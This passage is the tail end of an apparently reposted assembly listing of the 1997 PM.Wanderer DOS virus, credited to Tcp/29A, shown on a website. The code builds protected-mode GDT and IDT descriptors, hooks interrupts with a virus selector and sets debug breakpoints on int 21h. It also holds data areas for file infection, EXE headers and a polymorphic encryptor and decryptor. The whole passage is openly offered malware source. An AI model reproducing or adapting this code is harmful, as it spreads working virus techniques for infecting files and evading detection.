; 7 286 Trap Gate
; 8 -reserved
; 9 Available 386 TSS
; A -reserved
; B Busy 386 TSS
; C 386 Call Gate
; D -reserved
; E 386 Interrupt Gate
; F 386 Trap Gate


build_descriptor:
; AX = descriptor
; CX = base address
; BX = limit
; DX = rights
movzx eax,ax
mov [esi][eax],bx ; Limit 15..0
shr ebx,10h
mov [esi+2][eax],cx ; Base 15..0
shr ecx,10h
mov [esi+4][eax],cl ; Base 23..16
mov [esi+5][eax],dl ; Type, DPL, P,...
and bl,0Fh
or dh,bl
mov [esi+6][eax],dh ; Limit 19..16, AVL, G,...
mov [esi+7][eax],ch ; Base 31..24
ret

set_breakpoints:
mov eax,cs:i21h_ep
mov dr0,eax ; Address for breakpoint 0 (int 21h)
mov eax,0FE05Bh ; BIOS address: near jump to reboot
mov dr1,eax ; Address for breakpoint 1
xor eax,eax
mov dr6,eax ; Clear dr6 (the processor never clears it)
mov eax,00000000000000000000001000001010b
; ^ ^
; 2 breakpoints (globals)
mov dr7,eax
ret

set_ds:
mov ax,cs
add ax,8
mov ds,ax
ret


; 80386 INTERRUPT GATE
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ»
; º OFFSET 31..16 ³ P ³DPL³0 1 1 1 0³0 0 0³(NOT USED) º4
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ
; º SELECTOR ³ OFFSET 15..0 º0
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
;
; 80386 TRAP GATE
; 31 23 15 7 0
; ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÑÍÍÍÑÍÍÍÍÍÍÍÍÍØÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍ»
; º OFFSET 31..16 ³ P ³DPL³0 1 1 1 1³0 0 0³(NOT USED) º4
; ÇÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÅÄÄÄÁÄÄÄÁÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄĶ
; º SELECTOR ³ OFFSET 15..0 º0
; ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍØÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

build_idt_descriptor: ; On entry:
; ECX = interrupt number
; AX = address of service routine
; DI = address to store orig int & sel
mov esi,es:IDT_base ; Access to IDT
mov bx,[esi+6][ecx*8] ; Offset 31..16
shl ebx,10h
mov bx,[esi][ecx*8] ; Offset 15..0
mov es:[di],ebx ; Save original int
mov bx,[esi+2][ecx*8] ; Get selector
mov es:[di+4],bx ; Save original selector
mov bx,es:virus_selector
mov [esi+2][ecx*8],bx ; Set new selector
mov [esi][ecx*8],ax ; Set new interrupt (15..0)
mov word ptr [esi+6][ecx*8],0 ; (31..16)
ret

system_registers:
_CR3 dd 0
addr_GDTR dd 0
addr_IDTR dd 0
LDTR dw 0
TR dw TSS_SEL ; TSS selector
pm_EIP dd offset(pm_entry_point) ; Protected mode EIP
pm_CS dw CODE_SEL ; Protected mode CS selector

GDTR:
limit_gdt dw 47h
base_gdt dd 0

IDTR:
limit_idt dw 0FFFFh
base_idt dd 0

host_type db 0
codesegment dw 0
pm_ep dd 0
dw VCPICS_SEL

virus_end:

size_mcb dw ?
orig_i1 dd ?
sel_i1 dw ?
orig_i9 dd ?
sel_i9 dw ?
i21h_ep dd ?
virus_cs dw ?
virus_selector dw ?

pages_4K:
page_1 dd ?
page_2 dd ?
page_3 dd ?
page_4 dd ?

old_pages dd ?
old_page2 dd ?
old_page3 dd ?

addr_dir_page dw ?
infecting db ?
pagetable dd ?

GDT:
GDT_limit dw ?
GDT_base dd ?

IDT:
IDT_limit dw ?
IDT_base dd ?


org 1000h
BUFFER_SIZE = 1000h
_stack:
buffer1:
db BUFFER_SIZE dup(?)
buffer2:

header:
signature dw ?
image_size dw ?
pages dw ?
relo_items dw ?
header_size dw ?
mim_mem dw ?
max_mem dw ?
stack_seg dw ?
stack_ofs dw ?
checksum dw ?
val_ip dw ?
val_cs dw ?
ofs_reloc dw ?
overlays dw ?

wanderer ends


data0 segment use16
org 0
db STACK_SIZE dup(?) ; Stack
_esp dd ?
db 3Ch dup(?) ; Buffer for encryptor
end_encryptor db ?
db 0Fh dup(?) ; Buffer for encryptor
psp_seg dw ?
filetime dw ?
filedate dw ?
previous_ofs dw ?
mask_dec_ofs dw ?
mask_enc_ofs dw ?
ofs_loop_begin dw ?
decryptor_size dw ?
max_garbage dw ?
dd ?
ptr_select_reg dw ?
code_size dw ?
operations db ?
indexreg_op1 db ?
dw ?
delta_ofs dw ?
enc_buffer dw ?
unused_reg db ?
saved_sp dw ?
saved_ss dw ?

org 0F0h
copy_code = $

data0 ends
end start

; End of PM.Wanderer disassembly
; (c) 1997, Tcp/29A (tcp@cryogen.com)

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT